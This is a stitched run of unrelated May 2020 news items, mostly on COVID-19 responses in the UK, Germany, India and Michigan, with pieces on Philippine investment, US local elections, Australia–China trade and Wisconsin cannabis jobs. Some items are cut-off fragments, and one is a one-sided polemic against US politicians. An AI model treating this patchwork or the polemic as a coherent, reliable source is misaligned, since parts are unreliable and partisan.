Asked about the country's approach to the outbreak on BBC Radio 4's Today programme, Sir Paul said: 'I'm not sure we are quite getting it right.'

Sir Paul added: 'Everybody involved, not just the politicians, the scientists and the doctors, we're all making mistakes and we have to try and learn from what mistakes have been made up until now.

'I get a sense the UK has been rather too much on the back foot, increasingly playing catch-up, firefighting through successive crises.'

He suggested that what was needed was to 'get a much clearer publicly-presented strategy as to what we're actually trying to do, and the evidence upon which it is based'.

Sir Paul added: 'And we're not getting that in communications. Maybe there's a strategy there, I don't see it.'

Detailed statistics show that more than 44,000 people have already died with COVID-19 in the UK, but a study from the University of Southampton suggested that number could have been kept to 11,200 if lockdown was introduced earlier

Asked about the use of quarantine, Sir Paul suggested more evidence was needed about the infectiousness of people with coronavirus and how this was revealed through symptoms.

Australia pushes to be first country exempted from UK's new 14-day quarantine rules as arrivals face 'spot checks' on homes Australia is pushing to be the first country exempted from the UK's new 14-day coronavirus quarantine - as arrivals face 'spot checks' on homes and 1,000 fines for breaking the rules. Ministers are due to unveil plans for mandatory isolation of everyone coming into the country, in a bid to stop the deadly disease flaring up again. Those who flout the orders face 1,000 fines, followed by even tougher penalties if the they fail to pay. Arrivals will be required to supply an address where they will be isolating, enforced by public health officers carrying out random visits. Exemptions from the tough regime will be extremely limited to start with, mainly covering lorry drivers, NHS workers and fruit pickers considered essential to run the economy and health services. Free movement with Ireland will also be maintained, with the Common Travel Area a key part of the peace deal. The system is not expected to be finalised until the Commons returns from recess at the beginning of next month. However, Transport Secretary Grant Shapps has already raised the prospect of 'air bridges' to low-infection countries being introduced at a later stage. Reports in Australia suggest PM Scott Morrisson is pushing for his country, which has almost wiped out the virus, to be left out of the curbs. Advertisement

He said: 'Because for a long time it's been clear that people without symptoms can be infected and therefore be infectious to other people and yet in the hospitals and in the care homes we haven't been testing such people.

'So we have been allowing people, care workers, to be in the ward, who are potentially infected, infecting patients, infecting themselves, and as a consequence making hospitals potentially unsafe places to be.

'We have to see a changed strategy there that is reliant upon the real evidence.'

He continued: 'I don't see clarity in the public sphere about these sorts of arguments that need to be shown to the public so that they feel actually they are safe when they go to hospital.'

Sir Paul said there was 'another mistake' when the testing strategy was put in place.

He said: 'There were many laboratories around the country, smaller laboratories, that could have got a major, major increase in testing capacity much more quickly than was possible with the big labs.'

Sir Paul said he did not think there should be a formal inquiry into the UK's response to the outbreak now, but more 'openness' was needed, alongside a 'greater debate in the public domain'.

Northern Ireland Secretary Brandon Lewis said he 'wouldn't agree' with Sir Paul's criticism, explaining that the Government has followed 'the best advice that is out there'.

He said: 'I think what we have seen through this actually is we as a Government have been very clear with people, very transparent with people.

'The Prime Minister himself has been very clear - the Prime Minister ultimately is responsible.

'We do follow the best advice that is out there from both the scientific advisers, our chief medical advisers and the teams there but ultimately it is the ministers who make decisions.

'And I think that is one of the things we have seen throughout this process, is our working to ensure we get as much information to people as we can to ensure that people understand what we can all do to play our part in keeping the R level down.'

Northern Ireland Secretary Brandon Lewis said he 'wouldn't agree' with Sir Paul's criticism, explaining that the Government has followed 'the best advice that is out there'

Thousands of lives could have been saved if Britain imposed lockdown a WEEK earlier than March 23, claims government scientific adviser

Sir Ian Boyd, a member of Number 10's SAGE panel, admitted 'it would have made quite a big difference' if ministers acted sooner to fight the outbreak

Thousands of lives could have been saved from Covid-19 if Britain's lockdown was imposed just one week earlier, a government scientific adviser has claimed.

Sir Ian Boyd, a member of Number 10's SAGE panel, admitted 'it would have made quite a big difference' if ministers acted sooner to fight the outbreak.

Department of Health figures show 36,042 Brits have died after testing positive for the coronavirus, which began to rapidly spread in the UK in March.

But the true number of Covid-19 victims is feared to be closer to the 60,000-mark, when suspected and indirect deaths are taken into account.

Sir Ian's claim comes after research this week claimed triggering the UK's lockdown a week earlier would have saved tens of thousands of lives.

The shock study suggested enforcing strict rules to fight the coronavirus crisis on March 16 could have limited the number of deaths to 11,200.

Prime Minister Boris Johnson sent the country into lockdown on March 23, 60 days ago, banning people from meeting up with others or making unnecessary trips.

Britain was one of the last countries in Europe to put the rules in place - Germany, Belgium, France, Spain and Italy had done it days or weeks earlier.

WHEN DID OTHER COUNTRIES GO INTO LOCKDOWN AND HOW MANY PEOPLE HAVE DIED IN THEM? An report published in March by the Imperial College COVID-19 Response Team outlined the dates on which various countries in Europe started their lockdown measures. Each is listed below, alongside the COVID-19 death toll for each country, as of May 20. The numbers on their own do not suggest a direct link between the timing of lockdown and the number of people who died, showing that other factors come into play. The most comparable countries in size to the UK are France, Germany, Italy and Spain. Austria: March 16; 633 deaths

Belgium: March 18; 9,150 deaths

Denmark: March 18; 561

France: March 17; 28.022

Germany: March 22; 8,193

Italy: March 11; 32,169

Norway: March 24; 233

Spain: March 14; 27,778

Sweden: No lockdown; 3,743

Switzerland: March 18; 1,883

United Kingdom: March 24; 35,341 Advertisement

Sir Ian, a professor of biology at the University of St Andrews, told The Coronavirus Newscast: 'Acting very early was really important.

'I would have loved to have seen us acting a week or two weeks earlier and it would have made quite a big difference to the steepness of the curve of infection and therefore the death rate.

'And I think that's really the number one issue - could we have acted earlier? Were the signs there earlier on?'

He said the UK, as well as some of its European counterparts, were 'slower off the mark' than nations that had battled SARS in the early 2000s.

SARS, caused by another type of coronavirus, infected 8,000 people worldwide and killed 774 people in a year in 2002.

Sir Ian added: 'One could point the finger at ministers and politicians for not being willing to listen to scientific advice.

'You could point the finger at scientists for not actually being explicit enough. But at the end of the day all these interact with public opinion as well.

'And I think some politicians would have loved to have reacted earlier but in their political opinion it probably wasn't feasible because people wouldn't have perhaps responded in the way they eventually did.'

The membership of the secretive SAGE committee which has been advising the Government on its handling of coronavirus was finally made public earlier this month.

A TIMELINE OF THE UK'S COVID-19 LOCKDOWN February 28: Virus started spreading uncontrollably in Britain, according to the World Health Organization. March 3: Government and NHS officially launched campaign urging people to wash their hands more often. March 12: Anyone who developed a fever or a new cough, regardless of whether they got tested for COVID-19, was told to self-isolate for two weeks. March 16: Social distancing begins: Public were told to avoid contact with people outside of their homes, to work from home where possible, and to only take essential travel, such as to and from work or medical appointments.

Pubs and restaurants are not forced to close but people are encouraged to avoid them.

Likewise, the Government refused to ban large gatherings and sports events but said police and ambulances would no longer be provided for them. March 20: Major businesses were ordered to close immediately, including gyms, leisure centres, pubs, cafes, restaurants, theatres and cinemas. March 23: Full lockdown introduced: In a speech to the nation Prime Minister Boris Johnson urged everyone to stay at home unless necessary, only leaving to shop, to go to medical appointments or to exercise once per day.

Gatherings of people were banned, regardless of size, and people prohibited from mixing with others outside of their household.

Everyone was told to work from home if possible. Many non-essential workers were forced to stop working if they couldn't do it from home.

Schools shut their doors except to the children of essential workers. March 24: All non-essential businesses, including clothing shops and hairdressers, were ordered to close. Advertisement

The names of those who sit on the panel had not previously been published on security and independence grounds.

But officials bowed to mounting pressure and released the names of 50 experts across many fields who have sat in regular meetings during the pandemic.

The names on the list included well-known figures who have been involved in the daily press conferences, including chairman Sir Patrick Vallance.

It also included Chief Medical Officer Professor Chris Whitty and his deputies Dr Jenny Harries and Professor Jonathan Van Tam.

Others present were epidemiologist Professor Neil Ferguson and Dr Demis Hassabis, the chief executive of Google's DeepMind subsidiary.

Dr John Dagpunar, from the University of Southampton, echoed Sir Ian's claims in shock research published earlier this week.

He said in his paper: 'Literally, each day's delay in starting lockdown can result in thousands of extra deaths.'

Dr Dagpunar, a mathematical sciences expert, added: 'It does pose the question as to why lockdown did not occur earlier?'

He predicted how different scenarios may have affected the progress of the Covid-19 outbreak in Britain.

Starting the lockdown a week earlier on March 16 could have limited the number of deaths to 11,200, his analysis showed.

Dr Dagpunar's study considered the number of people infected with the virus, its rate of reproduction, hospital bed and staff capacity, and the proportion of patients who die, among other factors.

He calculated the death rate to be one per cent, and the pre-lockdown reproduction rate (R) to be 3.18, meaning every 10 patients infected a further 32.

The paper estimated that 4.4 per cent of all patients need hospital treatment, 30 per cent of whom will end up in intensive care.

Of the intensive care patients, a hospital stay lasts 16 days on average and half of them go on to die.

Of the other 70 per cent, a hospital stay averages eight days and 11 per cent die.

The study suggested that a lockdown which began a week earlier - on March 16 - would have led to a total of 11,200 people dying and just two per cent of the population catching the virus (98 per cent susceptibility)

A second model, which most closely aligns with what is happening in the UK right now, suggests that six per cent of the population get infected and around 39,000 people die. The demand for hospital beds is considerably higher than in the previous estimate. Britain is known to have more than 44,000 deaths already so this estimate is still too low

The study suggests that an earlier lockdown would have led to smaller peaks in deaths and demand for hospital beds

Dr Dagpunar's research showed a sharper, higher peak in deaths and demand for hospital beds in the UK's current situation, in which the lockdown began on March 23. The total death toll for this model (39,000) has already been exceeded, however

The Imperial College COVID-19 Response Team, which has been advising the Government, estimated in March that the global average R0 of the coronavirus was 3.87. As social distancing and lockdown took effect that number has now plummeted to below 1, potentially as low as 0.5, meaning the virus will die out naturally if this continues

Experts suggested coronavirus was 'disappearing' from the UK, with deaths down and new cases in London below 50 a day

BUSINESS CHIEFS AND MPS CALL FOR QUICK LOCKDOWN EXIT Business leaders and politicians last night pleaded with the Government to unlock the economy and get Britain moving after figures appeared to show the Covid-19 outbreak was coming under control. Experts suggested coronavirus was 'disappearing' from the UK, with deaths down and new cases in London below 50 a day. Official figures revealed on Thursday how deaths, hospital admissions and new infections have dropped significantly since the epidemic peaked in early April. The R-rate  which shows how quickly the virus is spreading  is also said to be falling. Professor Carl Heneghan, director of the Centre for Evidence-Based Medicine at Oxford University, said coronavirus was 'disappearing at a rate that's speeding up', and urged politicians to 'open up businesses' to prevent a second wave of deaths caused by economic collapse. Conservative former leader Iain Duncan Smith said: 'We need to move fast. The threat facing us now, outweighing coronavirus, is that of a failing economy.' Tory ex-minister John Redwood said: 'We are going to have unemployment on a scale not seen for many a year... unless we get furloughed people back to work.' Advertisement

Running these factors through an algorithm based on the timing of the UK's outbreak, Dr Dagpunar suggested that the March 23 lockdown could have resulted in a total of around 39,000 deaths.

Britain is known to have passed this grim landmark number already, suggesting that the study's estimate of fatality rate, virus R rate, or another factor, is too low.

If lockdown had been started a week earlier, on March 16, the model suggested, there could have been a 'very large reduction' in deaths, limiting them to around 11,200.

The virus would have infected four per cent less of the population in this scenario (two per cent compared to six per cent), the study said, and the demand for hospital beds would have been lower.

Dr Dagpunar said: 'In hindsight [this] clearly illustrates that earlier action was needed and would have saved many lives.'

'Literally, each day's delay in starting suppression (lockdown) can result in thousands of extra deaths.

'The same is true for premature relaxation, acknowledging that the rate of decline is less than the rate of growth, so the effect although severe is not quite as strong.

'These conclusions are the incontrovertible consequence of the exponential growth and decline of a managed epidemic.'

Dr Dagpunar's paper was published on the website medRxiv without being checked by other scientists or journal editors.

Polls of Brits show around two thirds of people think the government took too long to put the UK in lockdown.

But other experts say ministers 'lost sight' of the evidence and rushed into lockdown, praising Sweden for holding its nerve and not shutting down the economy.

Surveillance studies have shown the crucial R rate had already began to drop before the draconian measures were introduced.

And other data suggested transmission had peaked after the softer social distancing measures to curb the outbreak were rolled out on March 16.
A plague of locusts, said to be the worst in decades, has destroyed thousands of hectares of crops across Pakistan. Areas of Balochistan, Khyber Pakhtunkhwa, Sindh, and Punjab provinces have been the hardest hit, with farmers asking the government to do more to help.
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23 April 2020, Berlin: Employees from the Health Department hold a swab in a car window in the outpatient drive-in coronavirus test facility. Photo: Britta Pedersen/picture alliance via Getty Images.

Germanys federal health minister said today that he is pushing through new regulation to ensure everyone admitted to hospitals, nursing homes, and other care facilities will be tested for COVID-19  even if they have no symptoms at all.

Staff at medical and care facilities would also get tested as a preventative measure.

"When patients and residents are admitted or transferred, COVID-19 tests should be the norm, health minister Jens Spahn told Welt newspaper. My goal is to submit regulation in May that will enable preventive tests in hospitals and nursing homes.

Spahn said that the countrys healthcare system can easily cope with testing everyone on arrival at medical and care facilities.

Last week, 425,000 tests were carried out across Germany, Spahn said. But the test capacity is more than twice as large.

Germanys Robert Koch Institute recommends blanket screening of old people and high-risk groups; more than 3,000 of Germanys 8,215 deaths from COVID-19 were residents in nursing homes.

Germany has attracted broad global attention for how it has managed to keep its death toll comparatively low. The UK has seen more than 36,000 deaths, Italy more than 32,000, and France and Spain around 28,000 in each country.

While there are many factors at play, the country acted fast when it came to testing, supplying labs with test kits, meaning it was well-armed to test and isolate people with little or no symptoms.

By the end of April, the countrys labs were teed up with the capacity to carry out nearly 900,000 coronavirus tests a week.

Germany already had a high volume of intensive care beds, around 28,000, and the government ordered tens of thousands more to be added to ensure hospitals would not be overwhelmed.

While lockdowns were not as strict as in Spain and Italy, the German lockdown began early, and people by-and-large obeyed chancellor Angela Merkels appeal to stay home to protect everyone.

Now that the nationwide lockdowns are broadly lifted  although social distancing requirements remain and people have to wear face masks in shops and public transport  it is the responsibility of the countrys state leaders to monitor new spikes in infections and impose local lockdowns where necessary.

Story continues

READ MORE: Coronavirus: Germany opens up again as Merkel hands over to states

Health minister Spahn said today that Germany would establish a reserve of essential media equipment, including personal protective equipment (PPE), to be ready in case of another wave of the pandemic.

The reserve will ensure security for several months, so that we do not get in a situation like in February and March where even medical staff do not have enough masks and gloves.

Right now, however, he said that the country is over-supplied with PPE, and healthcare providers have are running out of storage space. "Because of that, we will end daily deliveries to the federal states and statutory health insurance associations until the middle of the year."

READ MORE: Coronavirus: Pandemic pushes Germans to finally ditch cash for cards






By Dick Polman




Press Release

May 22, 2020 Drilon challenges DTI: Catch major companies leaving China Senate Minority Leader Franklin Drilon urged the Department of Trade and Industry (DTI) to intensify efforts to woo the multinational companies planning to move out from China. Drilon expressed alarm over reports that the Philippines is lagging behind in terms of efforts being done by the Southeast Asian countries to lure investors leaving China, including the biggest multinational firms from Japan and the United States. "I do not see enough efforts being done, as compared with our neighboring countries such as Indonesia, Vietnam and Thailand, to win over the biggest companies moving out from China to relocate into the country," Drilon said in a statement. "This is an opportunity that we should seize immediately. The competition is tough. We cannot afford a laid-back attitude especially in this most trying time in our history as a nation," he underscored. "We should reach out to them. These investments will help our economy heavily battered by this pandemic," he added. Drilon said that the government should device "a more aggressive strategy" to woo these companies to relocate to the Philippines. "Ang nakakalungkot ay yung mga tira-tira na lang ang napupunta sa atin. Hindi tayo kulelat kasi may maliliit na negosyong mapupunta sa atin.I do not think that that is the proper way to look at it," he said. The Japanese Chamber of Commerce and Industry of the Philippines, Inc. (JCCIPI) earlier said that the Japanese manufacturing companies in China consider first Vietnam, Indonesia, and Thailand due to supply chain, resources, and raw material production. Upon Drilon's questioning during the Senate Committee of the Whole inquiry into the COVID-19 pandemic, Trade Secretary Ramon Lopez said there are some companies that will move into the country, but admitted that they are not the biggest companies. These companies reportedly are more inclined to move their companies to Indonesia, Vietnam and Thailand. "The reality is, we need investments more than ever for our economy to recover from this COVID-19 disease and to provide jobs and livelihood opportunities to Filipinos who lost jobs due to the pandemic," Drilon said. He noted that the Department of Labor and Employment (DOLE) estimated that around five million Filipinos would lose jobs due to the pandemic. "Tell us the stumbling blocks we are facing here and if concerns legislation, Congress will fix it," Drilon said. Among the legislation that Drilon believes would help lure companies into the country are the amendments to the Public Service Act and the Retail Trade Act. Drilon said the restrictive requirements of both laws impede foreign investments in the country. The minority leader authored twin economic measures to amend the said laws. Senate Bill No. 13 proposes to limit the definition of public utility, while opening up other public services to the market. Senate Bill No. 14, on the other hand, seeks to further relax foreign restrictions by removing investment categories and setting an across the board minimum paid up capital investment equivalent of US$200,000 in Philippine peso. Drilon urged the government to include the twin economic measures as priority legislation. Lastly, Drilon also asked the DTI never to downplay threats made by opposition legislators in the United States to look into the possibility of revoking the Generalized System of Preferences (GSP) extended to the Philippines over human rights issues.
Airlines told to keep fares within the prescribed range, and 40 percent seats must be sold at the mid-point of lower and upper limits

Two months after all domestic and international flights were halted in India due to the coronavirus pandemic, 33 per cent domestic flights will restart May 25. (PTI Photo)

New Delhi: Two months after all domestic and international flights were halted in India due to the coronavirus pandemic, 33 per cent domestic flights will restart May 25. On Thursday, the government issued guidelines for air travel and set several conditions, including fare-capping.

The civil aviation ministry said one-third of domestic flights will start in limited sectors with fares as set by the government. Those with Covid-19 history, or living in containment zones, and those with cold, cough or respiratory illness cannot travel.

I cant say when flights will be fully operational, but we will see how it goes, said minister of state for civil aviation Hardeep Singh Puri.

The airlines have been told to keep fares within the prescribed range, and 40 per cent seats must be sold at the mid-point of lower and upper limits. Air routes have been divided into seven bands, based on duration of flights, ranging from 40 minutes to 210 minutes.

On the Delhi-Mumbai sector, the densest route, the lowest fare is Rs 3,500 and the highest Rs 10,000. So 40 per cent seats must be sold at midpoint: Rs 6,700 plus taxes. We want to ensure fares dont get out of hand and are reasonable for airlines too, said civil aviation secretary Pradeep Kharola. This must be followed by the airlines till August 23.

Passengers must come to the airport two hours before departure. There will be no meals on board and only one check-in and one cabin baggage will be allowed. Passengers must get boarding passes through the mandatory web check-in. All passengers have to provide their medical details via the Aarogya Setu app or by filling up a self-declaration form.
"I want to commend his main primary opponent, Mariannette Miller-Meeks," Terry said. "She found out about this yesterday and she left him a really nice voicemail and let him know that she was praying for him, and were very appreciative of that."

Additionally, Terry committed to pulling all negative ads and called on Mariannette Miller-Meeks to do the same.

"Today I have taken the reins of the campaign," he said. "I have instructed them to take down all of our negative ads attacking (Miller-Meeks). Were gonna run a positive campaign.

"I am going to challenge her while (Bobby) is in this state to pull down the negative campaign ads. Were pulling down all of our negative ads, were asking you to do the same thing. Run all the ads you want, on television, anywhere, but tell your story. Stick to being positive. Tell people why they should vote for you, not why they should vote against my dad.

"I think it would send a clear message to voters in the district if Mariannette Miller-Meeks and her campaign were to pull down her negative campaign ads."

But the campaign cease fire didn't last for long.
Just weeks before voters decide his fate as a Bernalillo County Commission candidate, Adrian Carver has been placed on leave from his day job.

Equality New Mexico, a nonprofit organization focused on LGBTQ advocacy, announced in a recent Facebook post that it had put Carver, its executive director, on immediate administrative leave.

We have heard and acknowledge the concerns of our community and partners, the post said.

Joseph Samora, chair of Equalitys foundation board of directors, said that the board technically accepted Carvers decision to go on leave. He said Carver announced that intention at the start of an emergency board meeting called last weekend over concerns raised by many entities of the greater LGBTQ community in New Mexico.

Samora declined to detail the concerns, but Carver told the Journal that the comments included criticism about one of his campaign mailers.

Carver, Adriann Barboa and Marcos Gonzales are in a three-way Democratic primary race for the countys District 3 commission seat.

One of Carvers campaign mailers includes a section highlighting Barboas criminal record, noting that she has had several bench warrants for failure to appear in court and a 2018 drug arrest. Barboa has said the bench warrants were related to parking tickets and the drug arrest was made during a traffic stop in Arizona when she was found with less than 2 grams of cannabis.

The mailer sparked outrage among some in the progressive community.

Shame on candidate Carver for criminalizing one of his opponents, a queer woman of color, for her possession of a small amount of cannabis after a traffic stop, Marianna Anaya of Progress Now New Mexico wrote on the organizations website.

Asked if he regretted the mailer, Carver said he thinks Barboas history is relevant.

Somebody running for public office shouldnt have to have the threat of arrest by the county sheriff in order to take care of an administrative thing like a parking ticket, he said.

Barboa, in turn, described Carvers methods as scare tactics, saying the bench warrants were tied to parking meter violations and do not define her.

I have three solid, reputable New Mexico organizations to reflect my responsibility and my integrity, and the work that I really do in step with the community, said Barboa, policy director for Strong Families New Mexico and former executive director for Young Women United.

Carver said he was proud of his accomplishments with Equality New Mexico, but recent circumstances only hastened what he said was his existing plan to move on to a new job.

Samora said Equality New Mexicos board is planning to hire Carvers successor.

I have been contemplating the next step in my career for a long time and with the election happening, this feels like a transitional moment and the perfect moment to announce to the board that I would be pursuing other opportunities, Carver said.
MUSKEGON COUNTY, MI  Thanks to social distancing efforts by Muskegon County residents, health officials say the county has successfully flattened the curve of coronavirus cases during the pandemic.

Muskegon County Public Health Director Kathy Moore told MLive/Muskegon Chronicle Thursday the impact of the novel respiratory virus has been much less severe than health officials had originally predicted, showing community-wide efforts to slow the spread of COVID-19 have proven to be successful.

Were going to see a few more high numbers (of new daily cases) as we push more testing, but I expect the numbers to start declining over the next few weeks, Moore said.

New coronavirus cases have continued to climb this month as the county has expanded its testing capacity. Muskegon County has averaged 16.7 new cases and 0.71 new deaths each day over the past week, compared to 10.6 new cases and 0.29 new deaths per day the week before.

Im not alarmed or surprised at that rate, Moore said. As we expanded testing, I believe those numbers were going to increase accordingly.

Muskegon County reported a total of 552 confirmed coronavirus cases and 26 deaths linked to the virus Thursday, May 21, according to the Michigan Department of Health and Human Services.

There have been 141 recoveries in Muskegon County, according to the county health department.

As Memorial Day weekend approaches, Moore advised residents to celebrate the holiday but proceed with caution.

Gov. Gretchen Whitmer announced Thursday that gatherings of 10 people or less are permitted, starting immediately, as long as participants practice social distancing.

The Muskegon County health director urged residents to celebrate Memorial Day with a limited number of people and to maintain six feet of distance with others.

I do think the sun and fresh air and companionship is going to be good for everybody  but at a distance, Moore said.

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About 12 percent of all COVID-19 tests conducted in Muskegon County have come back positive as of Thursday, according to data from the county health department.

Nineteen percent of the countys coronavirus cases are residents in their 50s, countywide data shows. Thats followed by residents ages 20-29, who make up 16 percent of the countys cases, and residents ages 60-69, who make up 15 percent of cases.

Of the countys 26 reported deaths, eight were residents in their 80s, six were residents in their 70s, eight were residents in their 60s, three were residents in their 50s and one resident was in their 40s.

Women make up about 59 percent of the countys coronavirus cases, while men make up about 41 percent of cases, data shows.

However, more men have died with the virus, with 61 percent of countywide deaths made up by men, compared to 39 percent of deaths in women.

The coronavirus continues to disproportionately affect black residents in Muskegon County. Black residents make up 44 percent of the countys cases, even though black residents make up only 14 percent of the countywide population, latest census data shows.

Over one-third, or 35 percent, of the countys cases are located in the city of Muskegon, data shows. Twenty percent of cases are in the city of Muskegon Heights and 11 percent of cases are in Norton Shores.

Statewide, there have been 53,510 confirmed cases of the coronavirus and 5,129 total deaths linked to the virus in Michigan, MDHHS reported Thursday.

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Meanwhile in West Michigan, Ottawa County reported 632 confirmed coronavirus cases and 26 deaths with COVID-19 on Thursday.

In Kent County, there have been 3,145 positive cases and 62 deaths as of Thursday.

Oceana County has confirmed 69 positive coronavirus cases, with two deaths linked to the virus. Newaygo County has reported 71 cases and no deaths.

More on MLive:

West Michigan has flattened the curve substantially, says health director

Health officials see light at end of the tunnel for coronavirus crisis in Muskegon County

Hispanic residents disproportionately impacted by coronavirus in Ottawa County

Gatherings of 10 or less, retail by appointment allowed under new Whitmer order

Thursday, May 21: Latest developments on coronavirus in Michigan
Air India shall begin special domestic flights between May 19 and June 2 in order to help passengers stranded in different cities get home. Passengers have to pay for the seats and bookings have not yet started, according to a TOI report.

Most flights are from from Delhi, Mumbai, Hyderabad and Bengaluru.



Chennai will have one flight: Kochi-Chennai on May 19.



Delhi will have 173 flights, Mumbai 40, Hyderabad 25 and Kochi 12.



BCCL

Flights from Delhi will be operated to Jaipur, Bengaluru, Hyderabad, Amritsar, Kochi, Ahmedabad, Vijayawada, Gaya, Lucknow and a few other cities. Air India will operate flights from Mumbai to Visakapatnam, Kochi, Ahmedabad, Bengaluru, Hyderabad and Vijayawada. There are also flights from Hyderabad to Mumbai, Delhi and back. Bengaluru will have flights to Mumbai, Delhi and Hyderabad and an incoming flight from Bhubaneswar.



BCCL

A senior AI official said the schedule is ready. We are waiting for a nod from the ministry of civil aviation. The schedule has been prepared as part of phase-2 of evacuation flights to bring Indians from abroad. The government had said that domestic flights too could be included in the second schedule, he said. Schedule for some of these flights has been designed to ensure that passengers arriving from abroad on rescue flights can fly to their home states. But that will also depend on quarantine rules, an official said, adding that the operation was scheduled to start on May 15 but was postponed to 17.



Now it has been decided to start on May 19. The commencement will depend on the ministrys approval. But this will be a forerunner to start domestic operations in a phased manner, he said.



BCCL

People will have to book through the airline site soon after a notification is released. A senior official of the Airports Authority of India (AAI) said preparations were on to handle domestic flights because there is a hint that private airlines may be allowed to operate more flights from Chennai.



Sriharan Balan of Madura Travels said, The domestic points included in phase-2 of repatriation flights will be of help for several people who are waiting to travel home. We were trying for charter flights and airlines had said that they will ferry people on domestic routes if there are sufficient number of passengers. The registration shows that hundreds of people want to fly from Chennai to Mumbai and Delhi and other cities.


Exposure of Ulterior Motives Behind Stigmatization of China with COVID-19 (Part II)

As the COVID-19 outbreak continues to rage across the US, the American people are complaining about the White House's "lack of action" in the critical period of pandemic prevention and control, to which, however, Pompeo and his fellow politicians have kept finding excuses for themselves.

To be fair, these politicians have truly had a full plate since the outbreak, although on their plate is not how to control the pandemic at home, but how to make trouble for other countries.

When China, the country first hit by the virus, was busy containing its spread, the US politicians tried to stick their nose into China's Xinjiang, Taiwan, and Hong Kong and brazenly interfered in the internal affairs of the country by passing the so-called "acts". On the other hand, they put out a number of ludicrous assumptions like "China made the virus" and "China covered up its pandemic situation", in an attempt to stigmatize China in the international community and corner it to a moral predicament. Washington leaves no stone unturned when it comes to the use of these ugly tricks.

This isn't the first time that politicians like Pompeo are trying to loot a burning house - they always jump at the first sign of sniffing such an opportunity. They rolled out sanctions against Iran during its domestic turbulence; they tried to have it both ways when Qatar was on bad terms with countries like Saudi Arabia; and they, on the pretext of "democracy and human rights", blatantly backed radical and violent criminals in Hong Kong during the riot and unrest caused by the expatriation law amendment bill.

If we go into their ploys seriously, Pompeo and his like are not only professional looters of burning houses, and they set the fire themselves! They first set the house on fire and flame it up, then loot it while occasionally making a gesture of putting out the fire. They are so good at playing "good cop and bad cop" games and busy putting on their farcical performances.

Just take a look at what the US has done in the Middle East. The wars it waged against Iraq and Afghanistan left the two countries in lasting turmoil; the Arab Spring it much-trumpeted left Egypt and Syria in prolonged instability; and its instigation and flame-fueling have led to the growing escalation of Palestine-Israel conflicts, in which the US had sowed seeds.

Yet certain American politicians have the nerve to reap geopolitical gains where they set fire in the first place. Pompeo and his like even posed as saviors or angels claiming to have brought peace to those areas they left in ruins.

How ridiculous and shameful they are! These politicians are accustomed to being cops in name but thieves in nature, calling "stop thief" on the one hand while being that thief on the other. They beautify hegemony as justice and dress up rumor-mongering as freedom of speech.

Pompeo and his like are doomed to a pathetic end. As an old Chinese saying goes, good and evil will meet their karma one day or another, which has been verified on Pompeo and his like over and over again. In the Middle East, for instance, America's credibility has been irreversibly destroyed no matter how hard Pompeo and his like are trying to bloat their bubble.

The COVID-19 outbreak wouldn't and shouldn't have spread so fast and widely across the US had Pompeo and his like devoted a tiny part of their energy and time into what they should have done. The chaotic disaster of Washington's epidemic control has made millions of Americans suffer, and a growing number of the righteous people are voicing their questions and protests. In contrast, the US media has named Pompeo one of the worst Secretaries of State ever in American history.

Turning a blind eye to the chaos and loss of lives at home, Mike Pompeo and his like, adamant on making trouble for the world, have kept disrupting international cooperation and undermining peace undertakings. They have become the common enemy of world peace and are doomed for a pathetic end. The burning house looters will eventually get burned themselves.
Expert projects at least 8% decline in Ukrainian exports in 2020

16:05, 22.05.20 1309

Supplies of Ukrainian goods to Russia, Poland, Italy, and Hungary will suffer the most.
Source: Xinhua| 2020-05-22 19:42:05|Editor: huaxia

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by Marcus Reubenstein, Yang Jingzhong

SYDNEY, May 22 (Xinhua) -- A good relationship with China is critical to Australia, especially the country's agricultural sector, said Fiona Simson, president of the Australian National Farmers' Federation.

"I think it's critical that relationships are built in the good times because that's what you go back to in the bad times," Simson told Xinhua earlier this week, adding that many farmers "believe that this relationship (with China) is a relationship worth investing in."

Simson is the first female president of the NFF. After four years on the job, she has been a highly effective advocate for the sector's peak body.

Over the past two decades, China has risen as a key market for Australian exporters, especially for those in the agricultural sector.

As China has become Australia's largest export destination in recent years, "Australian farmers have matured and become a lot more customer and consumer focused," Simson said.

"Perhaps we're helped along by China as a market which is intrinsically like that, where buyers are interested in the technical aspects of produce and consumers are more concerned about quality," Simson said.

Meanwhile, "it is incredibly important to realize Australia can't take anything for granted," she cautioned.

"Whilst Chinese consumers are very fond of Australian produce, most of the things we produce they can get from elsewhere," she noted, highlighting the importance of bilateral relations.

"This is critical, the relationship needs to be deep, it's just not enough to have one person who has a good relationship with China, it actually needs to be multi-tiered and multi-pronged," she emphasized.

"Farmers are very astute businesspeople," said Simson. "They are very open-minded and accepting of a wide range of people in their communities, because their communities are diverse, they are very aware of building relationships and the importance of trade."

Although Australia and China have many differences in their cultures and traditions, Simson believes that "at the end of the day we've had a very fulfilling trade relationship and that's built on shared needs and shared outcomes."

"It's worth it for both countries to keep working together," she said. Enditem
The state of Wisconsin is among 16 states with no legal cannabis industry jobs, according to a study by Leafly, a website that provides information about marijuana and connects licensed retailers to consumers.

The state has not approved either recreational or medicinal marijuana products and thus has no legal cannabis sales, the report states.

Nationwide, the $10.7 billion legal cannabis industry supports the equivalent of 243,700 full-time jobs, according to the Leafly analysis, as of the beginning of 2020. Such jobs are increasing at a rate of 15 percent per year in the United States, the study said.

Moreover, Leafly concludes that cannabis-related jobs are growing faster than the employment growth thats occurring in the nations other industries. Yet the federal Bureau of Labor Statistics does not tabulate the number of jobs supported by legal marijuana, according to the analysis.

Wisconsin remains an outlier

In late 2017, Wisconsin passed a bill establishing state licenses for farmers to grow industrial hemp. Hemp is a category of Cannabis that contains 0.3 percent or less THC, which is the main psychoactive compound of marijuana.

Retailers across the state began selling CBD oil, the most profitable product derived from hemp. CBD is used to treat seizures, pain and other medical conditions.

But hemp does not deliver the "high" associated with smoking marijuana, or the medical benefits. Still Wisconsin voters appear to strongly approve both. In the 2018 midterm elections, pro-cannabis referendums passed overwhelmingly in the 16 counties and 2 cities in which they on the ballots. Up to 88 percent of voters supported the use of marijuana for medical purposes and 76 percent supported it for recreational.

Only 16 states prohibit marijuana use for either one or both of those uses. Illinois and Michigan have legalized it for both.

Wisconsin's 2018 referendums were only advisory, meaning they were not binding by law. Then, as now, the state's Republican Legislature firmly opposed marijuana for any use.

Notably, marijuana legalization is supported by Tony Evers and Josh Kaul, who were elected governor and attorney general, respectively, defeating anti-marijuana candidates Scott Walker and Brad Schimel in 2018.

Number of Legal Cannabis Jobs per State

